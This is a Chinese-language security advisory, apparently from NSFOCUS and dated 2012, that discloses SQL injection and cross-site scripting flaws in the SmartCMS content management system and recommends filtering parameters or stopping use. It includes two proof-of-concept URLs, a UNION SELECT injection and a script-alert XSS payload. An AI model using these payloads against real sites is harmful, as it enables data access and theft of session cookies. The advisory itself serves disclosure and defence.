SmartCMS SQL注入和跨站脚本漏洞

发布日期：2012-11-30
更新日期：2012-12-04

受影响系统：
smartcms smartcms
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56760

灵动(SmartCMS)内容管理系统，拥有文章、图片、下载、问答、论坛／留言、站内调查、友情链接、广告系统、自定义模型、自定义表单等众多丰富的功能模型。

SmartCMS的某些脚本文件没有对其参数进行有效的检查和过滤，造成SQL注入和跨站脚本漏洞，利用这些漏洞可允许攻击者窃取cookie身份验证凭证、破坏应用、访问或修改数据、利用下层数据库内的其他漏洞。

<*来源：Pr0T3cT10n （[email protected]）
  *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

SQL-injection:

http://www.example.com/index.php?menuitem=29+AND+1=2+UNION+ALL+SELECT+version()--

Cross-site scripting:

http://www.example.com/index.php?menuitem=26&amp;amp;domeinvraag=&amp;lt;script&amp;gt;alert(1);&amp;lt;/script&amp;gt;&amp;amp;aktie=Zoek&amp;amp;idx=23

建议：
--------------------------------------------------------------------------------
临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

*开启web应用防火墙过滤危险参数"select"，";"，"'"等。
*或者暂停使用SmartCMS。

厂商补丁：

smartcms
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.smartcms.cc